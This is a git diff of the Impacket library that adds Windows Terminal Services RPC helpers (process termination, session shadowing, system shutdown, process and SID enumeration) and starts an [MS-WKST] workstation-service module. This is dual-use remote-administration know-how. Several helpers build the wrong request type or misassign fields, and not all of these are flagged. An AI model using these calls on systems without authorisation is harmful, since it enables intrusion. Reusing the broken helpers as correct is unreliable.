+    return dce.request(request, checkError=False)
+
+#OLD 3.6.4.1.19 RpcWinStationShadowTargetSetup (Opnum 18)
+def hRpcWinStationShadowTargetSetup(dce, hServer, LogonId):
+    request = RpcWinStationShadowTargetSetup()
+    request['hServer'] = hServer
+    request['LogonId'] = LogonId
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.17 RpcWinStationBreakPoint (Opnum 29)
+def hRpcWinStationBreakPoint(dce, hServer, LogonId, KernelFlag):
+    request = RpcWinStationBreakPoint()
+    request['hServer'] = hServer
+    request['LogonId'] = LogonId
+    request['KernelFlag'] = KernelFlag
+    return dce.request(request, checkError=False)
+
+#DOES_NOT_WORK 3.7.4.1.18 RpcWinStationReadRegistry (Opnum 30)
+def hRpcWinStationReadRegistry(dce, hServer):
+    request = RpcWinStationReadRegistry()
+    request['hServer'] = hServer
+    return dce.request(request, checkError=False)
+
+#DOES_NOT_WORK 3.7.4.1.19 OldRpcWinStationEnumerateProcesses (Opnum 34)
+def hOldRpcWinStationEnumerateProcesses(dce, hServer, ByteCount):
+    request = OldRpcWinStationEnumerateProcesses()
+    request['hServer'] = hServer
+    request['ByteCount'] = ByteCount
+    return dce.request(request, checkError=False)
+
+#DOES_NOT_WORK 3.7.4.1.20 RpcWinStationEnumerateProcesses (Opnum 36)
+def hRpcWinStationEnumerateProcesses(dce, hServer, ByteCount):
+    request = RpcWinStationEnumerateProcesses()
+    request['hServer'] = hServer
+    request['ByteCount'] = ByteCount
+    return dce.request(request, checkError=False)
+
+
+# 3.7.4.1.21 RpcWinStationTerminateProcess (Opnum 37)
+def hRpcWinStationTerminateProcess(dce, hServer, ProcessId, ExitCode = 0):
+    request = RpcWinStationTerminateProcess()
+    request['hServer'] = hServer
+    request['ProcessId'] = ProcessId
+    request['ExitCode'] = ExitCode
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.22 RpcWinStationGetAllProcesses (Opnum 43)
+def hRpcWinStationGetAllProcesses(dce, hServer):
+    # i'm giving up constructing legitimate structures for this method
+    # Going to parse raw response:
+    # 1. Skip ndrpointers
+    # 2. Create TS_SYS_PROCESS_INFORMATION structure one by one
+    # Tested and seems to work well on WIN11, WIN10, WIN2012R2, WIN7
+    request = RpcWinStationGetAllProcesses()
+    request['hServer'] = hServer
+    request['Level'] = 0
+    request['pNumberOfProcesses'] = 0x8000
+    resp = dce.request(request, checkError=False)
+    data = resp.getData()
+    bResult = bool(data[-1])
+    if not bResult:
+        raise DCERPCSessionError(error_code=resp['pResult'])
+    data = data[:-1]
+    procs = []
+    if not resp['pNumberOfProcesses']:
+        return procs
+    offset = 0
+    arrayOffset = 0
+    while 1:
+        offset = data.find(b'\x02\x00')
+        if offset > 12:
+            break
+        data = data[offset+2:]
+        arrayOffset = arrayOffset + offset + 2
+    procInfo = ''
+    while len(data)>1:
+        if len(data[len(procInfo):]) < 16:
+            break
+        # I think there some alignment problems...
+        # in the structure, second DWORD is thread count, i'm looking for the second DWORD
+        # in order to align the data correctly
+        # There is no proper errors handling!
+        b,c,d,e = struct.unpack('<LLLL',data[len(procInfo):len(procInfo)+16])
+        if b:
+            data = data[len(procInfo)-4:]
+        elif c:
+            data = data[len(procInfo):]
+        elif d:
+            data = data[len(procInfo)+4:]
+        elif e:
+            data = data[len(procInfo)+8:]
+            
+        procInfo = TS_SYS_PROCESS_INFORMATION()
+        procInfo.fromString(data)
+        procs.append(procInfo)
+    return procs
+
+# 3.7.4.1.23 RpcWinStationGetProcessSid (Opnum 44)
+def hRpcWinStationGetProcessSid(dce, hServer, dwUniqueProcessId, ProcessStartTime):
+    request = RpcWinStationGetProcessSid()
+    request['hServer'] = hServer
+    request['dwUniqueProcessId'] = dwUniqueProcessId
+    request['ProcessStartTime'] = ProcessStartTime
+    request['pProcessUserSid'] = b'\0' * 28
+    resp = dce.request(request, checkError=False)
+    if resp['pResult'] == pResult_ENUM.ERROR_STATUS_BUFFER_TOO_SMALL:
+        sizeNeeded = resp['pdwSizeNeeded']
+        request['pProcessUserSid'] = b'\0' * sizeNeeded
+        request['dwSidSize'] = sizeNeeded
+        resp = dce.request(request, checkError=False)
+    if resp['ErrorCode']:
+        return format_sid(resp['pProcessUserSid'])
+
+#NOT_IMPLEMENTED 3.7.4.1.24 RpcWinStationGetTermSrvCountersValue (Opnum 45)
+
+# 3.7.4.1.25 RpcWinStationReInitializeSecurity (Opnum 46)
+def hRpcWinStationReInitializeSecurity(dce, hServer):
+    request = RpcWinStationReInitializeSecurity()
+    request['hServer'] = hServer
+    return dce.request(request, checkError=False)
+
+#DOES_NOT_WORK 3.7.4.1.26 RpcWinStationGetLanAdapterName (Opnum 53)
+def hRpcWinStationGetLanAdapterName(dce, hServer, pPdName, LanAdapter):
+    request = RpcWinStationGetLanAdapterName()
+    request['hServer'] = hServer
+    request['pPdName'] = hServer
+    request['LanAdapter'] = hServer
+    return dce.request(request, checkError=False)
+
+#DOES_NOT_WORK 3.7.4.1.27 RpcWinStationUpdateSettings (Opnum 58)
+def hRpcWinStationUpdateSettings(dce, hServer, SettingsClass, SettingsParameters):
+    request = RpcWinStationUpdateSettings()
+    request['hServer'] = hServer
+    request['SettingsClass'] = hServer
+    request['SettingsParameters'] = hServer
+    return dce.request(request, checkError=False)
+
+
+# 3.7.4.1.28 RpcWinStationShadowStop (Opnum 59)
+def hRpcWinStationShadowStop(dce, hServer, LogonId, bWait):
+    request = RpcWinStationShadowStop()
+    request['hServer'] = hServer
+    request['LogonId'] = LogonId
+    request['bWait'] = bWait
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.29 RpcWinStationCloseServerEx (Opnum 60)
+def hRpcWinStationCloseServerEx(dce, hServer):
+    request = RpcWinStationShadowStop()
+    request['hServer'] = hServer
+    return dce.request(request, checkError=False)
+
+# 3.7.4.1.30 RpcWinStationIsHelpAssistantSession (Opnum 61)
+def hRpcWinStationIsHelpAssistantSession(dce, hServer, SessionId):
+    request = RpcWinStationShadowStop()
+    request['hServer'] = hServer
+    request['SessionId'] = SessionId
+    return dce.request(request, checkError=False)
+
+#NOT_IMPLEMENTED 3.7.4.1.31 RpcWinStationGetMachinePolicy (Opnum 62)
+
+#NOT_IMPLEMENTED 3.7.4.1.32 RpcWinStationCheckLoopBack (Opnum 65)
+
+#NOT_IMPLEMENTED 3.7.4.1.33 RpcConnectCallback (Opnum 66)
+
+#NOT_IMPLEMENTED 3.7.4.1.34 RpcWinStationGetAllProcesses_NT6 (Opnum 70)
+
+#DOES_NOT_WORK 3.7.4.1.35 RpcWinStationOpenSessionDirectory (Opnum 75)
+def hRpcWinStationOpenSessionDirectory(dce, hServer, pszServerName):
+    request = RpcWinStationShadowStop()
+    request['hServer'] = hServer
+    request['pszServerName'] = pszServerName
+    return dce.request(request, checkError=False)
+
+
+################################################################################
+# Initialization Classes and Helper classes
+################################################################################
+
+class TSTSEndpoint:
+    def __init__(self, smb, target_ip, stringbinding, endpoint, kerberos = False):
+        self._stringbinding = stringbinding.format(target_ip)
+        self._endpoint = endpoint
+        self._smbconnection = smb
+        self._bind()
+
+        # Little hack to pass 'this' as 'dce' variable to a helper function
+        self.request = self._dce.request
+    def _bind(self):
+        self._rpctransport = transport.DCERPCTransportFactory(self._stringbinding)
+        self._rpctransport.set_smb_connection(self._smbconnection)
+        self._dce = self._rpctransport.get_dce_rpc()
+        self._dce.set_credentials(*self._rpctransport.get_credentials())
+        self._dce.connect()
+        self._dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+        self._dce.bind(self._endpoint)
+        return self._dce
+    def _disconnect(self):
+        self._dce.disconnect()
+    def __enter__(self):
+        return self
+    def __exit__(self, type, value, traceback):
+        self._disconnect()
+
+class TermSrvSession(TSTSEndpoint):
+    def __init__(self, smb, target_ip):
+        super().__init__(smb, target_ip,
+                            stringbinding = r'ncacn_np:{}[\pipe\LSM_API_service]',
+                            endpoint = TermSrvSession_UUID
+        )
+    hRpcOpenSession             = hRpcOpenSession
+    hRpcCloseSession            = hRpcCloseSession
+    hRpcConnect                 = hRpcConnect
+    hRpcDisconnect              = hRpcDisconnect
+    hRpcLogoff                  = hRpcLogoff
+    hRpcGetUserName             = hRpcGetUserName
+    hRpcGetTerminalName         = hRpcGetTerminalName
+    hRpcGetState                = hRpcGetState
+    hRpcIsSessionDesktopLocked  = hRpcIsSessionDesktopLocked
+    hRpcShowMessageBox          = hRpcShowMessageBox
+    hRpcGetTimes                = hRpcGetTimes
+    hRpcGetSessionCounters      = hRpcGetSessionCounters
+    hRpcGetSessionInformation   = hRpcGetSessionInformation
+    hRpcGetLoggedOnCount        = hRpcGetLoggedOnCount
+    hRpcGetSessionType          = hRpcGetSessionType
+    hRpcGetSessionInformationEx = hRpcGetSessionInformationEx
+
+class TermSrvNotification(TSTSEndpoint):
+    def __init__(self, smb, target_ip):
+        super().__init__(smb, target_ip,
+                            stringbinding = r'ncacn_np:{}[\pipe\LSM_API_service]',
+                            endpoint = TermSrvNotification_UUID
+        )
+    hRpcWaitForSessionState         = hRpcWaitForSessionState
+    hRpcRegisterAsyncNotification   = hRpcRegisterAsyncNotification
+    hRpcWaitAsyncNotification       = hRpcWaitAsyncNotification
+    hRpcUnRegisterAsyncNotification = hRpcUnRegisterAsyncNotification
+
+class TermSrvEnumeration(TSTSEndpoint):
+    def __init__(self, smb, target_ip):
+        super().__init__(smb, target_ip,
+                            stringbinding = r'ncacn_np:{}[\pipe\LSM_API_service]',
+                            endpoint      = TermSrvEnumeration_UUID
+        )
+    hRpcOpenEnum        = hRpcOpenEnum
+    hRpcCloseEnum       = hRpcCloseEnum
+    hRpcGetEnumResult   = hRpcGetEnumResult
+    hRpcGetEnumResultEx = hRpcGetEnumResultEx
+    hRpcGetAllSessions  = hRpcGetAllSessions
+
+class RCMPublic(TSTSEndpoint):
+    def __init__(self, smb, target_ip):
+        super().__init__(smb, target_ip,
+                            stringbinding = r'ncacn_np:{}[\pipe\TermSrv_API_service]',
+                            endpoint = RCMPublic_UUID
+        )
+    hRpcGetClientData    = hRpcGetClientData
+    hRpcGetConfigData    = hRpcGetConfigData
+    hRpcGetLastInputTime = hRpcGetLastInputTime
+    hRpcGetRemoteAddress = hRpcGetRemoteAddress
+    hRpcGetAllListeners  = hRpcGetAllListeners
+
+
+class RcmListener(TSTSEndpoint):
+    def __init__(self, smb, target_ip):
+        super().__init__(smb, target_ip,
+                            stringbinding = r'ncacn_np:{}[\pipe\TermSrv_API_service]',
+                            endpoint = RcmListener_UUID
+        )
+    hRpcOpenListener  = hRpcOpenListener
+    hRpcCloseListener = hRpcCloseListener
+    hRpcStopListener  = hRpcStopListener
+    hRpcStartListener = hRpcStartListener
+    hRpcIsListening   = hRpcIsListening
+
+class LegacyAPI(TSTSEndpoint):
+    def __init__(self, smb, target_ip):
+        super().__init__(smb, target_ip,
+                            stringbinding = r'ncacn_np:{}[\pipe\Ctx_WinStation_API_service]',
+                            endpoint = LegacyAPI_UUID
+        )
+    hRpcWinStationOpenServer             = hRpcWinStationOpenServer
+    hRpcWinStationCloseServer            = hRpcWinStationCloseServer
+    hRpcIcaServerPing                    = hRpcIcaServerPing
+    hRpcWinStationSendMessage            = hRpcWinStationSendMessage
+    hRpcLogonIdFromWinStationName        = hRpcLogonIdFromWinStationName
+    hRpcWinStationNameFromLogonId        = hRpcWinStationNameFromLogonId
+    hRpcWinStationConnect                = hRpcWinStationConnect
+    hRpcWinStationDisconnect             = hRpcWinStationDisconnect
+    hRpcWinStationReset                  = hRpcWinStationReset
+    hRpcWinStationShutdownSystem         = hRpcWinStationShutdownSystem
+    hRpcWinStationWaitSystemEvent        = hRpcWinStationWaitSystemEvent
+    hRpcWinStationShadow                 = hRpcWinStationShadow
+    hRpcWinStationShadowTargetSetup      = hRpcWinStationShadowTargetSetup
+    hRpcWinStationBreakPoint             = hRpcWinStationBreakPoint
+    hRpcWinStationReadRegistry           = hRpcWinStationReadRegistry
+    hOldRpcWinStationEnumerateProcesses  = hOldRpcWinStationEnumerateProcesses
+    hRpcWinStationEnumerateProcesses     = hRpcWinStationEnumerateProcesses
+    hRpcWinStationTerminateProcess       = hRpcWinStationTerminateProcess
+    hRpcWinStationGetAllProcesses        = hRpcWinStationGetAllProcesses
+    hRpcWinStationGetProcessSid          = hRpcWinStationGetProcessSid
+    hRpcWinStationReInitializeSecurity   = hRpcWinStationReInitializeSecurity
+    hRpcWinStationGetLanAdapterName      = hRpcWinStationGetLanAdapterName
+    hRpcWinStationUpdateSettings         = hRpcWinStationUpdateSettings
+    hRpcWinStationShadowStop             = hRpcWinStationShadowStop
+    hRpcWinStationCloseServerEx          = hRpcWinStationCloseServerEx
+    hRpcWinStationIsHelpAssistantSession = hRpcWinStationIsHelpAssistantSession
diff --git a/impacket/dcerpc/v5/wkst.py b/impacket/dcerpc/v5/wkst.py
new file mode 100644
index 0000000..70522c5
--- /dev/null
+++ b/impacket/dcerpc/v5/wkst.py
@@ -0,0 +1,1185 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-WKST] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRUniConformantArray, NDRUniFixedArray, \
+    NDRPOINTER
+from impacket.dcerpc.v5.dtypes import NULL, WSTR, ULONG, LPWSTR, LONG, LARGE_INTEGER, WIDESTR, RPC_UNICODE_STRING, \
+    LPULONG, LPLONG
+from impacket import system_errors
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+MSRPC_UUID_WKST   = uuidtup_to_bin(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 
+            return 'WKST SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'WKST SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+
+# 2.2.1.1 JOIN_MAX_PASSWORD_LENGTH
+JOIN_MAX_PASSWORD_LENGTH = 256
+
+# 2.2.1.2 JOIN_OBFUSCATOR_LENGTH
+JOIN_OBFUSCATOR_LENGTH = 8
+
+# 2.2.1.3 MAX_PREFERRED_LENGTH
+MAX_PREFERRED_LENGTH = 0xffffffff
+
+# 2.2.5.22 USE_INFO_1
+USE_OK       = 0x00000000
+USE_PAUSED   = 0x00000001
+USE_SESSLOST = 0x00000002
+USE_NETERR   = 0x00000003
+USE_CONN     = 0x00000004
+USE_RECONN   = 0x00000005
+
+USE_WILDCARD = 0xFFFFFFFF
+USE_DISKDEV  = 0x00000000
+USE_SPOOLDEV = 0x00000001
+USE_CHARDEV  = 0x00000002
+USE_IPC      = 0x00000003
+
+# 3.2.4.9 NetrUseDel (Opnum 10)
+# Force Level
+USE_NOFORCE       = 0x00000000
+USE_FORCE         = 0x00000001
+USE_LOTS_OF_FORCE = 0x00000002
+
+# 3.2.4.13 NetrJoinDomain2 (Opnum 22)
+# Options
+NETSETUP_JOIN_DOMAIN           = 0x00000001
+NETSETUP_ACCT_CREATE           = 0x00000002
+NETSETUP_ACCT_DELETE           = 0x00000004
+NETSETUP_DOMAIN_JOIN_IF_JOINED = 0x00000020
+NETSETUP_JOIN_UNSECURE         = 0x00000040
+NETSETUP_MACHINE_PWD_PASSED    = 0x00000080
+NETSETUP_DEFER_SPN_SET         = 0x00000100
+NETSETUP_JOIN_DC_ACCOUNT       = 0x00000200
+NETSETUP_JOIN_WITH_NEW_NAME    = 0x00000400
+NETSETUP_INSTALL_INVOCATION    = 0x00040000
+
+# 3.2.4.14 NetrUnjoinDomain2 (Opnum 23)
+# Options
+NETSETUP_ACCT_DELETE              = 0x00000004
+NETSETUP_IGNORE_UNSUPPORTED_FLAGS = 0x10000000
+
+# 3.2.4.15 NetrRenameMachineInDomain2 (Opnum 24)
+# Options
+NETSETUP_ACCT_CREATE           = 0x00000002
+NETSETUP_DNS_NAME_CHANGES_ONLY = 0x00001000
+
+################################################################################
+# STRUCTURES
+################################################################################
+
+# 2.2.2.1 WKSSVC_IDENTIFY_HANDLE
+class WKSSVC_IDENTIFY_HANDLE(NDRSTRUCT):
+    structure =  (
+        ('Data', WSTR),
+    )
+
+class LPWKSSVC_IDENTIFY_HANDLE(NDRPOINTER):
+    referent = (
+        ('Data', WKSSVC_IDENTIFY_HANDLE),
+    )
+
+# 2.2.2.2 WKSSVC_IMPERSONATE_HANDLE
+class WKSSVC_IMPERSONATE_HANDLE(NDRSTRUCT):
+    structure =  (
+        ('Data',WSTR),
+    )
+
+class LPWKSSVC_IMPERSONATE_HANDLE(NDRPOINTER):
+    referent = (
+        ('Data', WKSSVC_IMPERSONATE_HANDLE),
+    )
+
+# 2.2.3.1 NETSETUP_JOIN_STATUS
+class NETSETUP_JOIN_STATUS(NDRENUM):
+    class enumItems(Enum):
+        NetSetupUnknownStatus = 0
+        NetSetupUnjoined      = 1
+        NetSetupWorkgroupName = 2
+        NetSetupDomainName    = 3
+
+# 2.2.3.2 NETSETUP_NAME_TYPE
+class NETSETUP_NAME_TYPE(NDRENUM):
+    class enumItems(Enum):
+        NetSetupUnknown           = 0
+        NetSetupMachine           = 1
+        NetSetupWorkgroup         = 2
+        NetSetupDomain            = 3
+        NetSetupNonExistentDomain = 4
+        NetSetupDnsMachine        = 5
+
+# 2.2.3.3 NET_COMPUTER_NAME_TYPE
+class NET_COMPUTER_NAME_TYPE(NDRENUM):
+    class enumItems(Enum):
+        NetPrimaryComputerName    = 0
+        NetAlternateComputerNames = 1
+        NetAllComputerNames       = 2
+        NetComputerNameTypeMax    = 3
+
+# 2.2.5.1 WKSTA_INFO_100
+class WKSTA_INFO_100(NDRSTRUCT):
+    structure = (
+        ('wki100_platform_id', ULONG),
+        ('wki100_computername', LPWSTR),
+        ('wki100_langroup', LPWSTR),
+        ('wki100_ver_major', ULONG),
+        ('wki100_ver_minor', ULONG),
+    )
+
+class LPWKSTA_INFO_100(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_INFO_100),
+    )
+
+# 2.2.5.2 WKSTA_INFO_101
+class WKSTA_INFO_101(NDRSTRUCT):
+    structure = (
+        ('wki101_platform_id', ULONG),
+        ('wki101_computername', LPWSTR),
+        ('wki101_langroup', LPWSTR),
+        ('wki101_ver_major', ULONG),
+        ('wki101_ver_minor', ULONG),
+        ('wki101_lanroot', LPWSTR),
+    )
+
+class LPWKSTA_INFO_101(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_INFO_101),
+    )
+
+# 2.2.5.3 WKSTA_INFO_102
+class WKSTA_INFO_102(NDRSTRUCT):
+    structure = (
+        ('wki102_platform_id', ULONG),
+        ('wki102_computername', LPWSTR),
+        ('wki102_langroup', LPWSTR),
+        ('wki102_ver_major', ULONG),
+        ('wki102_ver_minor', ULONG),
+        ('wki102_lanroot', LPWSTR),
+        ('wki102_logged_on_users', ULONG),
+    )
+
+class LPWKSTA_INFO_102(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_INFO_102),
+    )
+
+# 2.2.5.4 WKSTA_INFO_502
+class WKSTA_INFO_502(NDRSTRUCT):
+    structure = (
+        ('wki502_char_wait', ULONG),
+        ('wki502_collection_time', ULONG),
+        ('wki502_maximum_collection_count', ULONG),
+        ('wki502_keep_conn', ULONG),
+        ('wki502_max_cmds', ULONG),
+        ('wki502_sess_timeout', ULONG),
+        ('wki502_siz_char_buf', ULONG),
+        ('wki502_max_threads', ULONG),
+        ('wki502_lock_quota', ULONG),
+        ('wki502_lock_increment', ULONG),
+        ('wki502_lock_maximum', ULONG),
+        ('wki502_pipe_increment', ULONG),
+        ('wki502_pipe_maximum', ULONG),
+        ('wki502_cache_file_timeout', ULONG),
+        ('wki502_dormant_file_limit', ULONG),
+        ('wki502_read_ahead_throughput', ULONG),
+        ('wki502_num_mailslot_buffers', ULONG),
+        ('wki502_num_srv_announce_buffers', ULONG),
+        ('wki502_max_illegal_datagram_events', ULONG),
+        ('wki502_illegal_datagram_event_reset_frequency', ULONG),
+        ('wki502_log_election_packets', LONG),
+        ('wki502_use_opportunistic_locking', LONG),
+        ('wki502_use_unlock_behind', LONG),
+        ('wki502_use_close_behind', LONG),
+        ('wki502_buf_named_pipes', LONG),
+        ('wki502_use_lock_read_unlock', LONG),
+        ('wki502_utilize_nt_caching', LONG),
+        ('wki502_use_raw_read', LONG),
+        ('wki502_use_raw_write', LONG),
+        ('wki502_use_write_raw_data', LONG),
+        ('wki502_use_encryption', LONG),
+        ('wki502_buf_files_deny_write', LONG),
+        ('wki502_buf_read_only_files', LONG),
+        ('wki502_force_core_create_mode', LONG),
+        ('wki502_use_512_byte_max_transfer', LONG),
+    )
+
+class LPWKSTA_INFO_502(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_INFO_502),
+    )
+
+# 2.2.5.5 WKSTA_INFO_1013
+class WKSTA_INFO_1013(NDRSTRUCT):
+    structure = (
+        ('wki1013_keep_conn', ULONG),
+    )
+
+class LPWKSTA_INFO_1013(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_INFO_1013),
+    )
+
+# 2.2.5.6 WKSTA_INFO_1018
+class WKSTA_INFO_1018(NDRSTRUCT):
+    structure = (
+        ('wki1018_sess_timeout', ULONG),
+    )
+
+class LPWKSTA_INFO_1018(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_INFO_1018),
+    )
+
+# 2.2.5.7 WKSTA_INFO_1046
+class WKSTA_INFO_1046(NDRSTRUCT):
+    structure = (
+        ('wki1046_dormant_file_limit', ULONG),
+    )
+
+class LPWKSTA_INFO_1046(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_INFO_1046),
+    )
+
+# 2.2.4.1 WKSTA_INFO
+class WKSTA_INFO(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+    union = {
+        100: ('WkstaInfo100', LPWKSTA_INFO_100),
+        101: ('WkstaInfo101', LPWKSTA_INFO_101),
+        102: ('WkstaInfo102', LPWKSTA_INFO_102),
+        502: ('WkstaInfo502', LPWKSTA_INFO_502),
+        1013: ('WkstaInfo1013', LPWKSTA_INFO_1013),
+        1018: ('WkstaInfo1018', LPWKSTA_INFO_1018),
+        1046: ('WkstaInfo1046', LPWKSTA_INFO_1046),
+    }
+
+class LPWKSTA_INFO(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_INFO),
+    )
+
+# 2.2.5.8 WKSTA_TRANSPORT_INFO_0
+class WKSTA_TRANSPORT_INFO_0(NDRSTRUCT):
+    structure = (
+        ('wkti0_quality_of_service', ULONG),
+        ('wkti0_number_of_vcs', ULONG),
+        ('wkti0_transport_name', LPWSTR),
+        ('wkti0_transport_address', LPWSTR),
+        ('wkti0_wan_ish', ULONG),
+    )
+
+# 2.2.5.9 WKSTA_USER_INFO_0
+class WKSTA_USER_INFO_0(NDRSTRUCT):
+    structure = (
+        ('wkui0_username', LPWSTR),
+    )
+
+# 2.2.5.10 WKSTA_USER_INFO_1
+class WKSTA_USER_INFO_1(NDRSTRUCT):
+    structure = (
+        ('wkui1_username', LPWSTR),
+        ('wkui1_logon_domain', LPWSTR),
+        ('wkui1_oth_domains', LPWSTR),
+        ('wkui1_logon_server', LPWSTR),
+    )
+
+# 2.2.5.11 STAT_WORKSTATION_0
+class STAT_WORKSTATION_0(NDRSTRUCT):
+    structure = (
+        ('StatisticsStartTime', LARGE_INTEGER),
+        ('BytesReceived', LARGE_INTEGER),
+        ('SmbsReceived', LARGE_INTEGER),
+        ('PagingReadBytesRequested', LARGE_INTEGER),
+        ('NonPagingReadBytesRequested', LARGE_INTEGER),
+        ('CacheReadBytesRequested', LARGE_INTEGER),
+        ('NetworkReadBytesRequested', LARGE_INTEGER),
+        ('BytesTransmitted', LARGE_INTEGER),
+        ('SmbsTransmitted', LARGE_INTEGER),
+        ('PagingWriteBytesRequested', LARGE_INTEGER),
+        ('NonPagingWriteBytesRequested', LARGE_INTEGER),
+        ('CacheWriteBytesRequested', LARGE_INTEGER),
+        ('NetworkWriteBytesRequested', LARGE_INTEGER),
+        ('InitiallyFailedOperations', ULONG),
+        ('FailedCompletionOperations', ULONG),
+        ('ReadOperations', ULONG),
+        ('RandomReadOperations', ULONG),
+        ('ReadSmbs', ULONG),
+        ('LargeReadSmbs', ULONG),
+        ('SmallReadSmbs', ULONG),
+        ('WriteOperations', ULONG),
+        ('RandomWriteOperations', ULONG),
+        ('WriteSmbs', ULONG),
+        ('LargeWriteSmbs', ULONG),
+        ('SmallWriteSmbs', ULONG),
+        ('RawReadsDenied', ULONG),
+        ('RawWritesDenied', ULONG),
+        ('NetworkErrors', ULONG),
+        ('Sessions', ULONG),
+        ('FailedSessions', ULONG),
+        ('Reconnects', ULONG),
+        ('CoreConnects', ULONG),
+        ('Lanman20Connects', ULONG),
+        ('Lanman21Connects', ULONG),
+        ('LanmanNtConnects', ULONG),
+        ('ServerDisconnects', ULONG),
+        ('HungSessions', ULONG),
+        ('UseCount', ULONG),
+        ('FailedUseCount', ULONG),
+        ('CurrentCommands', ULONG),
+    )
+
+class LPSTAT_WORKSTATION_0(NDRPOINTER):
+    referent = (
+        ('Data', STAT_WORKSTATION_0),
+    )
+
+# 2.2.5.12 WKSTA_USER_INFO_0_CONTAINER
+class WKSTA_USER_INFO_0_ARRAY(NDRUniConformantArray):
+    item = WKSTA_USER_INFO_0
+
+class LPWKSTA_USER_INFO_0_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_USER_INFO_0_ARRAY),
+    )
+
+class WKSTA_USER_INFO_0_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', LPWKSTA_USER_INFO_0_ARRAY),
+    )
+
+class LPWKSTA_USER_INFO_0_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_USER_INFO_0_CONTAINER),
+    )
+
+# 2.2.5.13 WKSTA_USER_INFO_1_CONTAINER
+class WKSTA_USER_INFO_1_ARRAY(NDRUniConformantArray):
+    item = WKSTA_USER_INFO_1
+
+class LPWKSTA_USER_INFO_1_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_USER_INFO_1_ARRAY),
+    )
+
+class WKSTA_USER_INFO_1_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', LPWKSTA_USER_INFO_1_ARRAY),
+    )
+
+class LPWKSTA_USER_INFO_1_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_USER_INFO_1_CONTAINER),
+    )
+
+# 2.2.5.14 WKSTA_USER_ENUM_STRUCT
+class WKSTA_USER_ENUM_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+
+    union = {
+        0: ('Level0', LPWKSTA_USER_INFO_0_CONTAINER),
+        1: ('Level1', LPWKSTA_USER_INFO_1_CONTAINER),
+    }
+
+class WKSTA_USER_ENUM_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', ULONG),
+        ('WkstaUserInfo', WKSTA_USER_ENUM_UNION),
+    )
+
+
+# 2.2.5.15 WKSTA_TRANSPORT_INFO_0_CONTAINER
+class WKSTA_TRANSPORT_INFO_0_ARRAY(NDRUniConformantArray):
+    item = WKSTA_TRANSPORT_INFO_0
+
+class LPWKSTA_TRANSPORT_INFO_0_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_TRANSPORT_INFO_0_ARRAY),
+    )
+
+class WKSTA_TRANSPORT_INFO_0_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', LPWKSTA_TRANSPORT_INFO_0_ARRAY),
+    )
+
+class LPWKSTA_TRANSPORT_INFO_0_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', WKSTA_TRANSPORT_INFO_0_CONTAINER),
+    )
+
+# 2.2.5.16 WKSTA_TRANSPORT_ENUM_STRUCT
+class WKSTA_TRANSPORT_ENUM_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+
+    union = {
+        0: ('Level0', LPWKSTA_TRANSPORT_INFO_0_CONTAINER),
+    }
+
+class WKSTA_TRANSPORT_ENUM_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', ULONG),
+        ('WkstaTransportInfo', WKSTA_TRANSPORT_ENUM_UNION),
+    )
+
+# 2.2.5.17 JOINPR_USER_PASSWORD
+class WCHAR_ARRAY(WIDESTR):
+    def getDataLen(self, data, offset=0):
+        return JOIN_MAX_PASSWORD_LENGTH
+
+class CHAR_ARRAY(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return JOIN_OBFUSCATOR_LENGTH
+
+class JOINPR_USER_PASSWORD(NDRSTRUCT):
+    structure = (
+        ('Obfuscator', CHAR_ARRAY),
